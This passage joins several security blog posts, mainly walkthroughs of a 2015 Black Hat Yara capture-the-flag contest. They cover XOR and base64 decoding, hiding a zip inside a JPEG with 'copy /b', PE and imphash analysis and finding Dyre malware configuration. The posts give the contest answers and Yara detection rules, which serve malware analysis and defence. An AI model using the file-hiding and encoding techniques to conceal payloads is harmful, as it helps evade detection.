30 27 78 62 7b 21 72 77 73 70 |!0'#670'xb{!rwsp| 00000060 74 70 26 72 7b 7b 26 26 7b 70 76 77 20 26 77 70 |tp&r{{&&{pvw &wp| 00000070 26 24 7a 71 7b 74 73 70 74 75 42 42 |&$zq{tsptuBB| ``` With the exception of the first byte (an escape character) and some carriage returns, all the values were ASCII characters. Additionally, there were a large number of lower-case b's (0x62). This would typically mean the first thing I'd try was XOR encoding using 0x62 as the initial key. However, for some reason I got hung up on the initial escape character. Probably due to the fact I had been working on these puzzles for about 4 hours straight at this point, my mind wasn't exactly where it needed to be. I got focused on that initial escape character, convinced that it was a clue to the solution. My mind immediately went to [PJL](https://en.wikipedia.org/wiki/Printer_Job_Language) and I started scouring the Internet for any resource I could find on it. After spending too much time on it, I decided this was the wrong path. My next thought was that it might be some esoteric programming language and I looked up every weird language I could find. Another dead end. For some reason, I was still convinced it wasn't XOR encoding and was looking for more possibilities when a co-worker, whom I had reached out to venture a guess from, suggested XOR. Despite my stubbornness, I tried XOR decoding everything with 0x62 and got the following: Image It worked...somewhat. After momentarily getting over feeling stupid, I jumped back into the game and looked at the result. While the text decoded into words, it didn't look right. Notice how the the case is switched and not all values decoded into something readable. We were on the right path, but hadn't gotten there completely. The switched case was a big clue. The difference in values between upper- and lower-case ASCII characters is 32, or 0x20. For example, the value of 'a' is 97 (0x61) and the value of 'A' is 65 (0x41). Therefore, if you ever perform an XOR decode and it looks like the case is switched, try adding or subtracting 0x20 to the XOR key. In this case, I subtracted 0x20 from the key to use 0x42 and got the following output: Image We finally had decoded the message, but needed to go one more step. Searching for the [MD5 hash 9c051262d099dd9245bd52df83961267](http://md5cracker.org/decrypted-md5-hash/9c051262d099dd9245bd52df83961267) found that the solution to puzzle #10 was "mudkipz". ### Puzzle #11 Puzzle #11 only contained a readme.txt file that stated the following: ``` Create an exploit for the newest version of Yara. We will be excercising responsible disclosure and submitting this to the developers, as Yara is an awesome tool and it's something we all use. :) ``` I did not complete this puzzle. There are a few reasons why. First, I did attempt it. While I looked at the code for Yara, I suspected that the most likely place a vulnerability would lie would be in the module code, such as the PE module code that examines PE specific characteristics. My thought process was that I could use a fuzzing program to fuzz the internal fields of the PE format, send it to Yara, and hope it fails. While I began to search for a fuzzing program that could do this, I started to run every file on my system through Yara in the hopes I would get lucky. However, after two hours, I did not find anything so I decided to weigh my options. This was a timed CTF where, according to the instructions, the "_First person to email in all the answers or has the highest score wins_". I could take a chance and try to find a vulnerability, and then write an exploit for it, to get more points; or I could submit it now, not get the points, and hope I was either still high enough in points or the first one in. Since I know my own skills and what I can accomplish in the span of a day, I decided to take a chance and send in the CTF as is. I wrote a small explanation at the end of Puzzle #11 about what I had attempted, and so I wasn't turning anything in, I also wrote a small haiku poem: Yara is the best For finding bad stuff inline Plusvic is the man! ### Conclusion Overall, the Yara CTF for Black Hat 2015 by [phishme.com](http://phishme.com/) and [@iheartmalware](https://twitter.com/iheartmalware) was an excellent contest. While, to me, the 11 puzzles weren't overly difficult, they were challenging and required you to think in ways you may not normally go. Most importantly, they used techniques that attackers use on a daily basis in malware and their attacks against your systems. Every one of the puzzles either used a technique that I've had to go up against "in the wild" or, in the case of the minidump crash file, used an actual infection. Anyone doing incident response should at least be somewhat familiar with the techniques used in every one of these puzzles, and should be exposed to the methods to get around them. That being said, I would have to say I have two minor criticisms about the contest. First, some of the instructions were ambiguous and open to interpretation. There were times I had to guess what Yara rule I had to write or what information I had to get for the answer. While this may have been on purpose to see what solutions participants would come up with, I can see how it may have frustrated others. Second, the final puzzle was a bit of an odd-ball to me. I completely understand why the creators put it in there. Yara is an excellent tool and finding vulnerabilities in it means the tool becomes better and stronger. However, I feel that its out of place because this was partially a timed contest. Finding a vulnerability and then writing an exploit for it takes time. In a contest where you may possibly need to be the first submission, this adds tremendously to that time and could cost you the game. My suggestion for puzzle #11 would be to instead take it in one of a few directions: - Give the player an existing vulnerability, have them write an exploit for it, and then write a Yara rule to detect that exploit. - Give the player an existing exploit, such as a malicious document or Java exploit, and require a Yara rule be written for it. - Take it in an entirely different direction. It is obvious the creators of the CTF want to make Yara better, so have the participants create a new module for Yara with some requirements surrounding it. Of course, these are just suggestions and my opinion. Regardless, this was a great CTF and I plan on recommending it to those who ask me what they should do to increase their skills. I hope the creators do it again next year and I look forward to participating! --- ## How I Solved (Most Of) the Yara CTF Puzzles: Puzzle #5 - #8 URL: https://korelogic.com/blog/2015/08/19/yara-ctf-puzzles-5-8/ Walkthrough of solving puzzles five through eight from the Black Hat YARA CTF challenge, continuing the earlier puzzle analysis. Published: 2015-08-19 Author: Tyler Category: Malware Analysis Tags: malware, tools, forensics, web-security, contests [Previously](/blog/2015/08/17/yara-ctf-puzzles-1-4), I posted how I solved puzzles #1-#4 of the [Yara CTF for Black Hat 2015](http://phishme.com/yara-ctf-blackhat-2015/), sponsored by [phishme.com](http://phishme.com/). In this post, I'll go into how I solved puzzles #5-#8. As noted before, the puzzles are still accessible at the [CTF page](http://phishme.com/yara-ctf-blackhat-2015/), so there are spoilers if you plan to go through them. ### Puzzle #5 The fifth puzzle consisted of a zip archive named "cyber apt cloud attack simulation.zip" and a readme file. Within the archive were two files named "bad.exe" and "bad2.scr". The readme read: ``` Many times, attackers will use zip files in order to contain their malware to help avoid detection. Create a rule that would look for this type of behaviour. ``` The solution to this was to create another Yara rule, so I took that to mean a Yara rule that would detect exe or scr files within a zip archive. In order to do that, I would need to look at the specification for the zip archive format. I used two places for references: [Wikipedia](https://en.wikipedia.org/wiki/Zip_%28file_format%29), and [the specification from PKWARE](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT). When creating the Yara rule, we first have to make sure we're dealing with a zip archive. According to the specification, zip files should begin with a local file header, or the structure that describes files in the archive. This structure begins with the little-endian hex number 0x04034b50. Note that when looking at that in a hex editor, you'd actually see it reversed. Yara has a few commands that will allow you to obtain a string or value from a specific offset within a file. Since the spec says the signature will be at the first byte of the zip archive, we can write a Yara condition to see if our signature is at byte 0. The _uint32()_ Yara command will return an unsigned little-endian 32-bit integer at a specific offset. Using that, the rule can test for the zip archive signature: ``` uint32(0) == 0x04034b50 ``` A zip archive will also have a local file structure for each file in the archive. The local file structure contains information such as the compressed and uncompressed file sizes, the compression method, and the file name. Since our goal is to find file names that contain ".exe" or ".scr", we'll need to parse through every local file header, find the file name (which starts at offset 30) and see if it contains .exe. Yara allows us to do this by using the _for .. in_ condition to [iterate through strings found in a file](http://yara.readthedocs.org/en/latest/writingrules.html?#iterating-over-string-occurrences). By iterating through all local file header values, we can jump to the file name offset and search it for the extensions we are looking for. To do so, we first need to create a string of the local file header signature: ``` $local_file = { 50 4b 03 04 } ``` Then we instruct the Yara rule to loop through each instance of this value, or the start of each local file header, in the archive we are examining: ``` for any i in (1..#local_file): ( $ext_exe in (@local_file[i]+30..@local_file[i]+30+uint16(@local_file[i]+26)) or $ext_scr in (@local_file[i]+30..@local_file[i]+30+uint16(@local_file[i]+26)) ) ``` Breaking this down, we are looping through each instance of the local file header with the _for any i in (1..#local_file)_ statement. Remember that the file name starts 30 bytes after the start of the header, which we can specify with _@local_file[i]+30_. (The @variable[i] format in Yara returns the location of the i-th instance of a string.) The length of the filename is 26 bytes after the start of the header, which we can get with _uint16(@local_file[i]+26)_. This statement takes the location 26 bytes after the start of the header, and converts it to an unsigned 16-bit integer. Thus by using these two values, we know where the file name starts and stops. We can search this space for the ".exe" and ".scr" extensions using the _in_ keyword and specifying the start and stop of the filename. The final Yara rule became the following: ``` rule PM_Yara_CTF_2015_5 { meta: author = "thudak@korelogic.com" comment = "Solution 5" strings: $local_file = { 50 4b 03 04 } $ext_exe = ".exe" nocase $ext_scr = ".scr" nocase condition: // look for the ZIP header uint32(0) == 0x04034b50 and // make sure we have a local file header $local_file and // go through each local file header, find the filename, // and see if it has an extension we are looking for for any i in (1..#local_file): ( $ext_exe in (@local_file[i]+30..@local_file[i]+30+uint16(@local_file[i]+26)) or $ext_scr in (@local_file[i]+30..@local_file[i]+30+uint16(@local_file[i]+26)) ) } ``` ### Puzzle #6 This puzzle was evil. Contained within this puzzle was a jpeg of Austin Powers and a readme.txt file that stated "Good luck!" The solution to this puzzle was a Yara rule, and the answers to the questions "How's it encoded?" and "What's the filename inside?" To me, this meant that there was a file hidden inside the image. In other words, steganography! Admittedly, this puzzle took me a while because I kept going in the wrong direction. I had convinced myself that a stego program had been used to hide a file inside the image. When steganography is suspected, there are a few tools that can be used to detect the steganography program that had been used. Unfortunately, these all came back with no results. This meant I was either going in the wrong direction or I had to find a different stego program that had been used. I started with the latter method, searching the Internet for any stego program I could and trying it out on the image. Once again, no results. After too long, I decided to try a different approach and read over the [JPEG file format](http://www.fileformat.info/format/jpeg/egff.htm). It turns out that JPEG images, like some other file formats, have a specific marker to indicate the end of the file. For JPEGs, this is the value 0xFF 0xD9. A quick examination of a dozen or so JPEGs on my local system showed this was the case - all ended in 0xFF 0xD9. Interestingly, the JPEG in the puzzle did not. I pulled up the JPEG in a hex editor and found 233 bytes present after the end of file marker, marked in green in the image below. While this could have been bytes thrown there by the image creation software, it was worth pursuing. Image There is a technique for copying files to the end of an image using the _copy_ command in Windows. Using the command below, you can combine two files together (original.jpg and hidden.zip) and place them in a new file (newimage.jpg). This is an effective, and simple, way to hide one file at the end of another. ``` copy /b original.jpg + hidden.zip newimage.jpg ``` I extracted the extra bytes from the jpeg and examined them. From the answer template I knew it was encoded in some fashion, so I needed to figure out what encoding was used. In the [last post](/blog/2015/08/17/yara-ctf-puzzles-1-4), I mentioned that when you do puzzles like this there should always be a few things you look out for. The first is base64 encoding, which we could tell this was not due to the presence of non-ASCII characters. The second, is XOR encoding. XOR (exclusive or) is a mathematical operation that is commonly used to hide data. While we don't need to get into the details of XOR, there are a couple properties of XOR that you should remember. 1. A XOR K = C and C XOR A = K. That is, if you XOR a value (A) with a key (K) to get ciphertext (C), you can get the key (K) by XOR'ing the ciphertext (C) with the original value (A). 2. Anything XOR'd by zero (0) is itself. These two properties can be used to determine the XOR key that was used to encode data, assuming XOR was used. If we can guess what some of the values of the file may be, such as a file signature, we can apply those values to the file and see if we get something that looks like a key. For example, if we thought this was a PE executable, we could XOR the first two bytes by MZ, which is the signature of a PE executable, and see if we found a repeating pattern. This is usually a hit or miss operation and can be time consuming. Fortunately, there is an easier way. Anything XOR'd by 0 is itself. So, if there were locations in a file containing only 0s and an XOR key was applied to it, then the key itself would be revealed. Guess what? Most binary files have places in them that contain only zeroes. We only need to look through the encoded data for any patterns and try those patterns as our key. Looking at the encoded data, you'll notice there are some large areas of the letter B (0x42). This could be our XOR key. Using a hex editor, I applied the value 0x42 to the entire file to see what happened: Image The result should look familiar - a Zip archive! In the image above, we can see that not only did it decode, but the filename inside is malicious.exe! This answered our first two questions - how the file was encoded and what the file name was. Now onto the Yara rule. The contest didn't specify what the Yara rule should be, so I decided to create one that detected JPEGs that had extra data at the end. This is shown below. ``` rule PM_Yara_CTF_2015_6 { meta: author = "thudak@korelogic.com" comment = "Solution 6 - finds data after the jpeg final marker" strings: $header = { ff d8 ?? ?? ?? ?? 4A 46 49 46} condition: // JPEGs should always end with 0xffd9 - if not, there is something else there $header at 0 and uint16(filesize-2) != 0xd9ff } ``` The rule first looks for the JPEG header, to ensure we are looking at a JPEG image. JPEG headers start with the value 0xFF 0xD8, followed by the JFIF APP0 marker segment. The first 4 bytes of this segment contain an APP0 marker and the length of the segment. From looking at multiple files, these weren't always the same values (even though I suspect they should be). After those bytes are the characters "JFIF", or 0x4A 0x46 0x49 0x46 in hex. This is how the $header string for the rule was created. Next the rule looks to see if the last two bytes of the file are the end of file marker, 0xFF 0xD9. Yara contains a keyword _filesize_ which will contain the size of the file it is looking at. Since the last two bytes of the file are supposed to contain the end of file marker, we can extract those bytes using _uint16(filesize-2)_, and see if they are the end of file marker. If they aren't, we've found extra data at the end of our image. Note that in the Yara rule, we are examining for 0xd9ff - a reversal of the end of file marker. This is because _uint16()_ extracts the little-endian format of those bytes, so the values would be reversed. I could have used the Yara command _uint16be()_ and extracted them in the order I would expect them in. ### Puzzle #7 The next puzzle consisted of two more zip files, named encrypted_zip.zip and not_encrypted.zip, and a readme that instructed us to create a Yara rule that would detect the encrypted zip file, but not the unencrypted one. Luckily, I had a slight advantage on this one. In my work on [MASTIFF](https://github.com/KoreLogicSecurity/mastiff), I had created a plug-in that would analyze the structure of a zip archive, so I already knew how files were marked as encrypted or not. Six bytes into the local file header, the structure kept for each file, is a field called the general purpose bit flag. This field will set specific bits to describe various options for the file within the archive. There is one bit in that field we need to examine: bit 0. If set, this bit signifies the file is encrypted. By creating a Yara rule that looks at this field for each local file header, we can perform a boolean AND operation to see if the bit is set. If it is, then the file is encrypted. The resulting Yara rule is shown below: ``` rule PM_Yara_CTF_2015_7 { meta: author = "thudak@korelogic.com" comment = "Solution 7 - encrypted zip file" strings: $local_file = { 50 4b 03 04 } condition: // look for the ZIP header uint32(0) == 0x04034b50 and // make sure we have a local file header $local_file and // go through each local file header and see if the encrypt bits are set for any i in (1..#local_file): (uint16(@local_file[i]+6) & 0x1 == 0x1) } ``` Look familiar? It should, because I essentially copied the Yara rule from puzzle #5 and modified it slightly. In this rule, we are checking to ensure we are dealing with a zip archive, and then going through each local file header and examining the general purpose bit field that is 6 bytes from the start of the header. The bit field is AND'd with 0x1 and checked to see if the result is 0x1. If it is, we know the encrypted bit was set and our rule should fire. #### A small side note Confession time. The Zip Yara rules for puzzles 5 and 7 are not the same ones I turned in. As I was writing this up, I realized that my rules were only looking at both the central file directory header in the zip files, as well as the local file header. This isn't a problem, except that the offsets for the file names, lengths, and general bit field are different in the central structure and local file headers. For puzzle #5, this wasn't an issue as I was using the offsets for the local file headers as I should have been; it was just doing a little extra work when it found the central directory file header. For puzzle #7, it was only looking at the general bit field for the central directory file header, which is at offset 8. While the rule would still work as the encryption bit would be set in the central directory file header, it could also create a number of false positives and was thus corrected above. Sorry. ### Puzzle #8 The final puzzle in this post was a tricky one, as I went down a path that in the end wasn't needed. This puzzle contained a minidump crash report named some_file.dmp, and the instructions to create a Yara rule and answer the questions "What's the malware?" and "What's the configuration data?". As I was unfamiliar with minidump files, I had to do some initial research. [Minidump files](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680369%28v=vs.85%29.aspx)[contain information about a system](https://support.microsoft.com/en-us/kb/315263) and its processes at the time the minidump was created, typically when a process or system has crashed. In other words, they will contain portions of the memory from the system. By analyzing the minidump, we have a view into the compromised system to hopefully determine what the issue was. The way I choose to analyze the file was to use [WinDbg](https://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx). After loading the minidump file into WinDbg, I ran a number of commands, such as "!analyze -v", that told me this was a crash dump of explorer.exe. For my purposes, this meant we were dealing with malware that either had renamed itself as explorer.exe or injected itself into explorer.exe. Additional commands did not show me anything unusual, such as oddly named DLLs. Admittedly, my WinDbg skills are not at a premium as I prefer other debuggers, so I may have not been running some commands that would have given me more clues. However, on a hunch I ran a string search for the string "serverlist". Often in these types of contests, you'll get a gut feeling on what to search for. You have to follow your gut and see if you are right - if you are it can pay off tremendously. In this case I got lucky and my search paid off. Image From the puzzle questions, I knew I was looking for malware that had a configuration file. From the minidump analysis, I had explorer.exe. The only malware I could quickly think of that utilized both was Dyre, a popular banking malware that injects itself into explorer.exe and has a configuration file. The string "serverlist" is one of Dyre's configuration file commands. Upon finding the string "serverlist", I knew we were dealing with Dyre and just had to pull out its configuration file. After a few searches and mis-steps, one of which involved trying to get Volatility to read minidump files, I found a Python script by phishme.com [to extract the Dyre configuration file](http://phishme.com/dyre-configuration-dumper/) from memory crash dumps! This script successfully extracted the configuration file from the crash dump. Image For the Yara rule, I decided to focus on the Dyre configuration file since it has a number of static configuration options that can be easily detected. The resulting rule is below. ``` rule PM_Yara_CTF_2015_8 { meta: author = "thudak@korelogic.com" comment = "Solution 8 - look for dyre config" strings: $ = "" $ = "" $ = "" $ = "" $ = "" $ = "" $ = "" $ = "" condition: all of them } ``` ### More to come! In my opinion, puzzles 5 through 8 were the most challenging of the CTF. They did what good CTF puzzles should do - they make you think and work down paths that many will not normally go down (at least until they've experienced it). Most importantly, they used techniques that analysts and responders are likely to find in their daily work. Next up, the last three puzzles! --- ## How I Solved (Most Of) the Yara CTF Puzzles: Puzzle #1 - #4 URL: https://korelogic.com/blog/2015/08/17/yara-ctf-puzzles-1-4/ Walkthrough of solving the first four logic and YARA-based puzzles from the Black Hat YARA CTF challenge. Published: 2015-08-17 Author: Tyler Category: Malware Analysis Tags: malware, tools, forensics, passwords, web-security During Black Hat, [Ron Tokazowski](https://twitter.com/iheartmalware) of [phishme.com](http://phishme.com/) put together a [Yara Capture The Flag (CTF) contest for Black Hat 2015](http://phishme.com/yara-ctf-blackhat-2015/). This CTF consisted of 11 logic and Yara-based puzzles that participants had to solve for a chance to win a DJI Quadcopter. The best part is you could participate in the CTF if you weren't at Black Hat! I participated in the CTF and won!!! I got through 10 out of 11 puzzles; the 11th and my lack of doing it is explained later. This post, as well as two more, describe how I went through each puzzle and solved them. The puzzles are still accessible at the [CTF page](http://phishme.com/yara-ctf-blackhat-2015/), so be warned that spoilers are below! Capture the Flag contests are an important resource for anyone in information security. When performed correctly, they help to increase your skills and expand your methods and techniques for solving problems. There has never been a CTF that I haven't learned something, and because of this I try to do as many of them as my schedule allows. In each puzzle I present in these posts, I'll go through my thought process for how I solved it. Understand that there are probably better ways to solve these, but when you are in a timed contest you go where your mind takes you, which is sometimes down incorrect or the least efficient paths. As stated, the Yara CTF consisted of 11 challenges that had to be solved. The CTF also came with an email template that listed what needed to be provided for each puzzle solution. ### Puzzle #1 The first puzzle was in a 1.2MB file named "all about that base" and the goal was to find a key contained within. The contents of the file were an alphanumeric pattern in one line that ended with the following: ``` ...WFZtMUtSbE5zV2xWV1ZrWXpWVVpGT1ZCUlBUMD0= ``` Anyone doing CTF challenges should know that when dealing with encoded data there are a few things you should always look for. The first is [Base64](https://en.wikipedia.org/wiki/Base64) encoded data. Data encoded with Base64 consists of upper- and lower-case letters, numbers, plus, and the forward-slash. More importantly, it will often end in a single or double equal sign, as the string above. Base64 decoding the string returned another base64 encoded string. Decoding that gave another base64 encoded string, which gave another base64 encoded string, and so on. The goal was to get to the bottom of all the base64 encoded strings - which I could either do manually, or write a small shell script. I went with the script. ``` #!/bin/bash cat "all about that base" | base64 -d - > _tmp while [ $? -eq 0 ]; do mv _tmp still_decode cat still_decode | base64 -d - > _tmp done mv still_decode decoded.txt ``` This script runs the command "base64 -d" in a loop to decode the data until it fails. Once this occurs, we know we are done decoding the data and hopefully have the decoded version. The final file that was created was 1,657 bytes long and contained a nice ASCII art of a unicorn and the answer. I won't spoil this answer so you can try it on your own. ### Puzzle #2 The second puzzle contained an encrypted RAR archive and a readme file. According to the readme, the goal was to identify the import hash, PE timestamp, and PE machine for the file in the RAR archive and create a Yara rule for it. Windows executables are organized in a specific format known as the [Portable Executable (PE) format](https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx). This format gives the operating system information about the executable, including where to start execution in the program, and what libraries and APIs should be loaded. Two of the fields the puzzle asks for, the PE timestamp and PE machine, are located in the PE header. The PE timestamp, also called the TimeDateStamp, usually contains the time when the executable was linked during the compilation process. This field is often used by analysts to determine how old the executable is. However, be warned! This value can easily be changed by attackers. The PE machine is a field that specifies the CPU type the executable can run on. For example, if its a 32-bit executable, it will likely have the value 0x14C (IMAGE_FILE_MACHINE_I386). This information can be found with any number of PE header analysis tools. I used [pecheck.py](http://blog.didierstevens.com/2013/04/19/3462/), a script written by Didier Stevens that uses the [pefile Python library](https://github.com/erocarrera/pefile) to dump all of the PE header information. Using this I was able to quickly find what the PE timestamp and machine values were: ``` $ pecheck.py my_file.exe PE check for 'my_file.exe': Entropy: 6.913703 (Min=0.0, Max=8.0) MD5 hash: 75c0cd3b15b1b67de14f4e97eafa3679 SHA-1 hash: 157ad48ab9f1bf257627272d16e83fe748d16985 SHA-256 hash: 659c865cfc57226fafd40a97f4fc21a0e5b828ab6f9bdcb3ca0de175b654a68b ... [IMAGE_FILE_HEADER] 0xEC 0x0 Machine: 0x8664 0xEE 0x2 NumberOfSections: 0x3 0xF0 0x4 TimeDateStamp: 0x4F304133 [Mon Feb 6 21:08:03 2012 UTC] ... ``` The timestamp has a value of 0x4F304133 and the machine type is 0x8664 (IMAGE_FILE_MACHINE_AMD64). The import hash is a hash that is created by examining the Import Address Table of an executable, which describes the DLLs and APIs that the executable want to load. Since many executables place this information in a unique order, this hash can be used to identify and track related malware samples or attackers. To generate the import hash, I used [Florian Roth's ImpHash-Generator](https://github.com/Neo23x0/ImpHash-Generator) script. ``` $ python imphash-gen.py -p my_file.exe ############################################################################### IMPHASH Generator by Florian Roth January 2014 Version 0.6.1 ############################################################################### Reading DB: 37694 imphashes found IMP: bb916724e1b87e3af628b2f59174d064 MD5: 75c0cd3b15b1b67de14f4e97eafa3679 FILE: my_file.exe ``` Now that I had the data needed, the Yara rule had to be created. Fortunately, the latest versions of Yara come with a PE module that will allow me to directly obtain these values, as well as a function that generates the import hash! The resulting Yara signature is shown below: ``` import "pe" rule PM_Yara_CTF_2015_2 { meta: author = "thudak@korelogic.com" comment = "Solution 2" condition: pe.machine == 0x8664 and pe.timestamp == 0x4F304133 and pe.imphash() == "bb916724e1b87e3af628b2f59174d064" } ``` Two things to note. Initially when I created this rule I was using Yara 3.3.0. For some reason, pe.imphash() would not run correctly. However, after upgrading to Yara 3.4.0 (the latest version at the time), things worked fine. Also, the rule is checking for the actual value of pe.machine. The [Yara PE module](http://yara.readthedocs.org/en/latest/modules/pe.html#c.machine) has a number of definitions available to make the rules more readable. Therefore, the rule could also have been written "pe.machine == pe.MACHINE_AMD64". ### Puzzle #3 The third puzzle was a file named "take off every zig" whose contents were an encoded string that contained a key: ``` Bar bs gurz unf gb or rnfl gb znxr lbh xrrc tbvat. Lbhe nafjre vf: ZneznynqrFrzncuberErpvqvivfgVyyvgrengrXhzdhngTbbsonyy ``` Because there were spaces in the string, I knew it was not likely to be base64 encoded. Also, the spaces told me it was also probably not XOR encoded, another common encoding method we'll talk about later. Why did the spaces tell me this? Both of these encoding techniques would have encoded the entire string, including spaces. It was quite possible that the attacker was being tricky and had written a custom algorithm to skip spaces and I kept that in the back of my mind. In the mean time, I decided to go with my gut and try something else: ROT13. [ROT13](https://en.wikipedia.org/wiki/ROT13) is a [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher), or a substitution cipher in which all letters are rotated by 13 letters (or half the English alphabet). To test this out, I used the website [www.rot13.com](http://www.rot13.com/index.php), pasted the string and pressed the decode button... ...and Voila! It worked! The result gave me the key I needed for the answer. ### Puzzle #4 Puzzle #4 contained three phishing emails, and their mail headers, in which we were supposed to create one Yara rule to detect them all. To do this, I examined each email looking for items that were common to each other but unique to these emails. I came up with three things: the subject line, the attachment filename, and the message body. There were other locations I could have used, such as the sender or the source MTA. However, these didn't have any common attributes between the three emails; the other items did. The subject lines of all three emails were as follows: - 1.eml:Subject: Resume - 2.eml:Subject: resume - 3.eml:Subject: =?utf-8?Q?Re=3AMy_resume?= The first two are just the word "resume", in different case, while the last is the UTF-8 encoding of "My_resume". The common word between all three is "resume" and thus I had my first string to search for. I decided to use a regular expression to search for "Subject: ", followed by any number of characters, and then the word resume where the 'r' could be upper or lower case. - $subject = /Subject: [\S\s]+[rR]esume/ Next was the attachment file name. The three emails named their files as follows: - 1.eml:Content-Disposition: attachment; filename="my_resume.zip"; size=462; - 2.eml:Content-Disposition: attachment; filename="my_resume.zip"; size=460; - 3.eml:Content-Disposition: attachment; filename="=?utf-8?B?bXlfcmVzdW1lLnppcA==?=" The first two emails have the name just as "my_resume.zip". The last is also named my_resume.zip, but the filename is base64 encoded. Since Yara does not have any base64 encoding or decoding functions, I would have to create two strings to search for both versions of the filename. - $filename = "my_resume.zip" - $file_b64 = "bXlfcmVzdW1lLnppcA==" Finally, the message bodies of the emails. The first two email bodies were base64 encoded while the last was in plaintext. The plaintext version is below. ``` Hello my name is Ariana attach is my resume I would appreciate your immediate attention to this matter Sincerely Ariana ``` Of course, all three were just slightly different. In each email, the name and the third lines were completely different. Additionally, in one email the second line stated "attached" instead of attach. Finally, the first word was "Hello" in two of the emails and "Hi" in the final email. Looking for a common string between all three emails, I found that my best bet would be to search for "my name is". This would also mean I would have to search for the plaintext and base64 encoded versions of the string. The plaintext was easy, but the base64 was a little more difficult due to the position of the first word. However, I got lucky and found that part of the base64 encoded version of "my name i", or "bXkgbmFtZSBpc" was present in both base64 encoded versions of the email bodies. This allowed me to create the final strings for the Yara rule. ``` $hello = "my name is" $hello_b64 = "bXkgbmFtZSBpc" ``` The final Yara rule looked as follows: ``` rule PM_Yara_CTF_2015_4 { meta: author = "thudak@korelogic.com" comment = "Solution 4" strings: $subject = /Subject: [\S\s]+[rR]esume/ $filename = "my_resume.zip" $file_b64 = "bXlfcmVzdW1lLnppcA==" $hello = "my name is" $hello_b64 = "bXkgbmFtZSBpc" condition: $subject and ($filename or $file_b64) and ($hello or $hello_b64) } ``` ### More to come! This is long enough for one post. In the next post, I'll reveal how I solved puzzles 5-8! --- ## LibPathWell 0.6.1 Released URL: https://korelogic.com/blog/2015/07/31/libpathwell-061-released/ First public release of LibPathWell and its PAM module for dynamic password-strength enforcement using password topology histograms. Published: 2015-07-31 Author: Hank Category: Tools & Frameworks Tags: tools, passwords, web-security, networking, contests I am thrilled to announce the first public release of the Password Topology Histogram Wear-Leveling (PathWell) library and PAM module for dynamic password-strength enforcement. Version 0.6.1 is available for download [here](https://github.com/KoreLogicSecurity/libpathwell). We have [blogged](/blog/2014/04/04/pathwell-topologies) and [written](/presentations/bsidesavl-pathwell-2014-06.pdf) and [presented](https://www.youtube.com/watch?feature=player_detailpage&v=KIGhA4_7dtw#t=27003) about PathWell several times, but now we've finally dropped the code. The LibPathWell release is a PAM module and supporting library to implement password topology complexity enforcement. There is a static component called blacklisting that allows you to seed the PathWell database with the most popular password topologies, so instead of an attacker cracking 25%+ in their first few mask attacks, they get zero. And then there are dynamic components ensuring that enterprise users, as they change their passwords, are forced to choose new passwords that are substantially different from one another. tl;dr: PathWell makes enterprise user passwords 5-6 orders of magnitude harder to guess! This release is not the current code. It is basically the last version cut at the end of our DARPA-sponsored CFT (Cyber Fast Track) project, with an appropriate open-source license applied. We've been working on making PathWell more user-friendly, like the password creation guidance I alluded to at the end of the presentation linked above. But that code isn't done yet, and we got tired of the existing code not being available to the public, so here it is. ### License LibPathWell is released under the GNU Affero General Public License Version 3 (AGPLv3). See the README.LICENSE file in the distribution tar ball for all the legalese - basically this is just like the GPLv3 except that it also explicitly applies to network services that users interact with (without "running" programs in the conventional sense). There is a patent on the topology wear leveling stuff; use of that is granted by the software license as long as you comply with it. If you want to implement PathWell in a commercial operating system, website, or Identity Management product in a way that isn't compatible with AGPL (i.e., closed-source), or you want us to do so, talk to us. ### Known Issues This branch was effectively frozen in late 2013. Since then, some current Linux distributions' dependencies have changed. Everything works great on current Gentoo, but you may encounter header file issues with recent versions of some of the other distributions (e.g., Ubuntu) listed in README.INSTALL as supported. Meanwhile, some distributions whose libraries were too old at the time (I'm looking at you, RHEL) may now work out of the box, so our documentation needs updating. We'll push those fixes to the public git repository as we can, but probably not before DEFCON; we have a [contest to run](http://contest-2015.korelogic.com/). Be sure to watch our [git repository](https://github.com/KoreLogicSecurity/libpathwell), or better still, submit some patches. ;) ### Mushy Stuff I can't thank enough my coworkers who did more to make PathWell an actual thing than I did. Particularly Klayton, Sean, and Mick; without your efforts and persistence this would just be another idea rotting in the back of my brain while I chase squirrels. --- ## Hacking Team Documents Claim BIOS-based Persistence URL: https://korelogic.com/blog/2015/07/09/hacking-team-bios-persistence/ Analysis of leaked Hacking Team material indicating BIOS-based persistence capabilities in the company Remote Control System spyware platform. Published: 2015-07-09 Author: Don Category: Security Research Tags: tools A search through the [online mirror](https://ht.transparencytoolkit.org/KnowledgeBase/Persistent%20installation%20-%20%5dHT%5b%20%3a%3a%20KnowledgeBase%20Product.html) of the information stolen from Hacking Team shows indications that a BIOS-based infection capability was developed as part of the Remote Control System software. This may be the first time a commercial spyware product claims this type of capability. --- ## Giles at Black Hat and in the ISSA Journal URL: https://korelogic.com/blog/2015/06/23/giles-at-black-hat-and-in-the-issa-journal/ The Giles production rule system compiler (which we described ) has gotten some good press lately! Published: 2015-06-23 Author: Rob Category: Tools & Frameworks Tags: tools The Giles production rule system compiler (which we described [here](/blog/2015/01/22/giles-300-released)) has gotten some good press lately! An article describing Giles and its use has been published in the June 2015 issue of The ISSA Journal, which can be seen by subscribers [here](http://www.issa.org/?page=ISSAJournal). The ISSA Journal is the official journal of the Information Systems Security Association, and we're very proud to have an opportunity to discuss Giles on its pages. The article describes what Giles is, how to use it, and how to use the engines it creates. It also talks a little bit about how it works under the hood. Also of note, I will be presenting a talk about Giles at this year's Black Hat USA in Las Vegas on August 1-6th. This talk will describe the reasons behind the creation of Giles, how it works, and how it can help you build efficient, simple event correlation engines and expert systems. Let us know if you're going to be at Black Hat this summer; we hope to see you there! And remember, Giles is open source, so be sure to check it out (both in the look-at-it sense and in the grab-a-copy-of-its-code sense) at [GitHub](https://github.com/KoreLogicSecurity/giles). --- ## MASTIFF Online Updated to Add pyOLEScanner URL: https://korelogic.com/blog/2015/06/19/mastiff-online-updated-to-add-pyolescanner/ MASTIFF Online added pyOLEScanner support for Office document analysis, refreshed search controls, and reprocessed existing samples to expose the new plugin results. Published: 2015-06-19 Author: Andy Category: Tools & Frameworks Tags: tools, forensics The MASTIFF Online site was updated on 2015-06-05 which included the following: - Enabled [pyOLEScanner](https://github.com/Evilcry/PythonScripts/raw/master/pyOLEScanner.zip) version 1.2 tool as part of processing samples. pyOLEScanner is a python based 